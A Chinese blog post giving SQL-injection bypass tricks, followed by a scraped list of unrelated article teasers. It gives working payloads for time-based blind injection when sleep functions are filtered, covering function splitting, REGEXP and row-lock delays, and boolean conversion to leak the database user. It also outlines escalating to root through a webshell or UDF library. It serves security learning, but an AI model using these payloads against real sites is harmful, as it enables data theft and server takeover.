WEB安全--SQL注入--bypass技巧2

继之前文章的补充:

WEB安全--SQL注入--bypass技巧_sql注入过滤空格-CSDN博客

Q1:发现sql注入的时间盲注时,如果时间盲注的函数都被过滤了,怎么办?

除了找其他函数替换、编码等方式,还有以下方式绕过:

1、尝试其他注入手段是否有效果,比如报错注入、DNSLog外带等;
2、将被过滤的函数以拼接的方式呈现(如果正则验证不严格可能绕过):
SELECT /*!50000sleep*/(5);
SELECT s||l||e||e||p(5);  -- Oracle
SELECT sle+ep(5);  --MSSQL
3、利用其他延时机制模拟相同效果:

        笛卡尔积+大量数据处理(MySQL)

SELECT COUNT(*) FROM large_table1, large_table2, large_table3 WHERE ...

        递归(MSSQL/PostgreSQL)

WITH RECURSIVE t(n) AS (SELECT 1 UNION ALL SELECT n+1 FROM t WHERE n < 1000000
)
SELECT * FROM t;
4、响应包判断:

所谓sql时间盲注指页面没有任何回显,但实际情况下响应包的内容可能会因为请求的sql语句而产生细微变化。

根据这一特性,我们可以尝试用普通的真假条件语句结合响应包中的内容去判断,可以将此sql时间盲注转化为类似布尔盲注的形式。

?id=1' AND (condition) --+
5、构造事件:

构造一个事件或触发器,让它执行慢查询或利用其副作用来判断条件是否成立(要有写权限)。

CREATE EVENT myevent ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 5 SECOND DO SELECT 1;
6、正则匹配:

某些复杂的正则或字符串处理函数在不同的输入下计算量不同,可造成微小但可检测的延迟。

1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1)) > 100, 'A' REGEXP BINARY REPEAT('A',1000000), 1)--+
7、加锁操作延时:

如果条件不成立,快速返回; 

如果条件成立→ 查询 users 中 id=1 并对其加锁,当前连接挂起等待锁释放(通常可控制几秒)

1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1)) > 100, (SELECT 1 FROM users WHERE id=1 FOR UPDATE), 1)--+

Q2、在服务器权限为普通用户是,sql注入如何获取服务器root权限?

判断注入的类型

判断数据库类型、版本等信息

判断当前用户权限(至少需要有文件写权限)

        sql注入将webshell写入服务器web目录中(需要知道物理路径)==> 服务器脚本提权 ==> 在蚁剑中执行系统命令

        上传.dll/.so文件(需要知道物理路径)==> 进行系统提权(UDF) ==> 在数据库命令行执行系统命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/web/82649.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自定义事件wpf

// 自定义控件 public class MyCustomControl : Control { public static readonly RoutedEvent MyCustomEvent EventManager.RegisterRoutedEvent( "MyCustom", RoutingStrategy.Bubbling, typeof(RoutedEventHandler), typeof(MyCustomControl) ); public event R…

【汇编逆向系列】一、无参数的函数调用- RSP,EAX寄存器,全局变量,INT类型和MOV,INC,SHL指令

给出一段简单的汇编 no_params_function:0000000000000000: 40 57 push rdi0000000000000002: 8B 05 00 00 00 00 mov eax,dword ptr [global_counter]0000000000000008: FF C0 inc eax000000000000000A: 89 05 00 00 00 0…

知识蒸馏:从模型输出到深层理解

1. 概念阐释: 还记得上次说的“老师教你画画,不只教‘猫’,还教‘像狗像树叶’的细微感觉”吗?那是最初的蒸馏。 后来大家发现,老师不仅仅通过“最后画出来像什么”来教你。 有时候,老师是教你“他画画时,哪里用了力气,哪里画得特别认真”(这叫基于特征的蒸馏,学习…

vue-18(使用 Vuex 插件实现高级功能)

使用 Vuex 插件实现高级功能 Vuex 插件提供了一种强大的方式来扩展 Vuex 存储的功能。它们为存储的变更过程提供了钩子&#xff0c;允许你拦截变更、执行副作用以及添加自定义逻辑。本章将探讨如何利用 Vuex 插件实现持久化、日志记录和时间旅行调试等高级功能。我们将深入研究…

【Java】CopyOnWriteArrayList

一&#xff0c;概述 CopyOnWriteArrayList作为List接口的实现之一&#xff0c;它区分于ArrayList在于它是线程安全的。如它名字一样&#xff0c;所有的写操作均复制了原数组的值&#xff0c;虽说代价较大&#xff0c;但读多写少的环境下&#xff0c;是可接受的。笔者在此简单看…

【高等数学】函数项级数

目录 函数项级数收敛域的定义收敛域的判定方法常见幂级数展开&#xff08;麦克劳林级数&#xff09;幂级数的应用 傅里叶级数傅里叶级数的基本概念傅里叶级数的主要性质奇偶函数的简化周期延拓奇延拓偶延拓 函数项级数 函数项级数是指由一系列函数构成的无穷级数&#xff0c;形…

基于cornerstone3D的dicom影像浏览器 第二十八章 LabelTool文字标记,L标记,R标记及标记样式设置

文章目录 前言一、L标记、R标记二、修改工具样式1. 样式的四种级别2. 导入annotation3. 示例1 - 修改toolGroup中的样式4. 示例2 - 修改viewport中的样式 三、可配置样式 前言 cornerstone3D 中的文字标记工具LabelTool&#xff0c;在添加文字标记时会弹出对话框让用户输入文字…

PPT转图片拼贴工具 v4.3

软件介绍 这个软件就是将PPT文件转换为图片并且拼接起来。 效果展示 支持导入文件和支持导入文件夹&#xff0c;也支持手动输入文件/文件夹路径 软件界面 这一次提供了源码和开箱即用版本&#xff0c;exe就是直接用就可以了。 软件源码 import os import re import sys …

新版NANO下载烧录过程

一、序言 搭建 Jetson 系列产品烧录系统的环境需要在电脑主机上安装 Ubuntu 系统。此处使用 18.04 LTS。 二、环境搭建 1、安装库 $ sudo apt-get install qemu-user-static$ sudo apt-get install python 搭建环境的过程需要这个应用库来将某些 NVIDIA 软件组件安装到 Je…

神经网络-Day45

目录 一、tensorboard的基本操作1.1 发展历史1.2 tensorboard的原理 二、tensorboard实战2.1 cifar-10 MLP实战2.2 cifar-10 CNN实战 在神经网络训练中&#xff0c;为了帮助理解&#xff0c;借用了很多的组件&#xff0c;比如训练进度条、可视化的loss下降曲线、权重分布图&…

设计模式之单例模式(二): 心得体会

设计模式之单例模式(一)-CSDN博客 目录 1.背景 2.分析 2.1.违背面向对象设计原则&#xff0c;导致职责混乱 2.2.全局状态泛滥&#xff0c;引发依赖与耦合灾难 2.3.多线程场景下风险放大&#xff0c;性能与稳定性受损 2.4.测试与维护难度指数级上升 2.5.违背 “最小知识原…

windows10 php报错

参考这个&#xff0c; 实际解决了问题&#xff0c; 主要是repair c 然后重启 【BUG】PHP Warning: ‘C:\\WINDOWS\\SYSTEM32\\VCRUNTIME140.dll‘ 14.0 is not compatible with this PHP bu_php warning: vcruntime140.dll 14.0 is not compat-CSDN博客

GPU显存的作用和如何选择

核心定义与作用 首先&#xff0c;显存的全称是显示内存&#xff0c;英文是Video RAM或VRAM&#xff0c;是显卡上的专用内存。 显存的主要作用是用来存储图形处理单元&#xff08;GPU&#xff09;需要处理的数据&#xff0c;比如纹理、顶点数据、帧缓冲区等。 数据中转站 GPU…

从零开始:用Tkinter打造你的第一个Python桌面应用

目录 一、界面搭建:像搭积木一样组合控件 二、菜单系统:给应用装上“控制中枢” 三、事件驱动:让界面“活”起来 四、进阶技巧:打造专业级体验 五、部署发布:让作品触手可及 六、学习路径建议 在Python生态中,Tkinter就像一把瑞士军刀,它没有花哨的特效,却能快速…

Unity基础-Mathf相关

Unity基础-Mathf相关 一、Mathf数学工具 概述 Mathf是Unity中封装好用于数学计算的工具结构体&#xff0c;提供了丰富的数学计算方法&#xff0c;特别适用于游戏开发场景。它是Unity开发中最常用的数学工具之一&#xff0c;能够帮助我们处理各种数学计算和插值运算。 Mathf…

Android Studio 之基础代码解析

1、 onCreate 在 Android 开发中&#xff0c;MainActivity 作为应用的入口 Activity&#xff0c;其 onCreate() 方法是生命周期中第一个且最重要的回调方法&#xff0c;负责初始化核心组件和界面。以下是其核心要点&#xff1a; 一、基本定义与作用 调用时机 当 Activity 首次…

AIGC图像去噪:核心原理、算法实现与深度学习模型详解

1. 背景概述 1.1 目标与范畴 在AIGC(人工智能生成内容) 的技术生态系统中,图像生成模型(如生成对抗网络GAN、扩散模型Diffusion Model)所产出的视觉内容,其质量常因训练数据中的固有瑕疵、生成过程中的随机扰动或数据传输期间的信号衰减而呈现出不同程度的退化。因此,…

电路图识图基础知识-自耦变压器降压启动电动机控制电路(十六)

自耦变压器降压启动电动机控制电路 自耦变压器降压启动电动机控制电路是将自耦变压器的原边绕组接于电源侧&#xff0c;副边绕组接 于电机侧。电动机定子绕组启动时的电压为自耦变压器降压后得到的电压&#xff0c;这样可以减少电动 机的启动电流和启动力矩&#xff0c;当电动…

Life:Internship finding

1. 前言 fishwheel writes this Blog to 记录自分自身在研二下找实习的经历。When 写这篇 Blog 的时候我的最后一搏也挂掉了&#xff0c;只能启用保底方案了。When I 打开我的邮箱时&#xff0c;发现里面有 nearly 100 多封与之相关的邮件&#xff0c;顿时感到有些心凉&#x…

Redis 常用数据类型和命令使用

目录 1 string 2 hash 3 list 4 set集合 5 zset有序集合 1 string 值可以是字符串、数字和二进制的value&#xff0c;值最大不能超过512MB 应用场景&#xff1a; 应用程序缓存 计数器 web共享session 限速 1.1 设置单个键值 set <key> value [EX seconds|PX…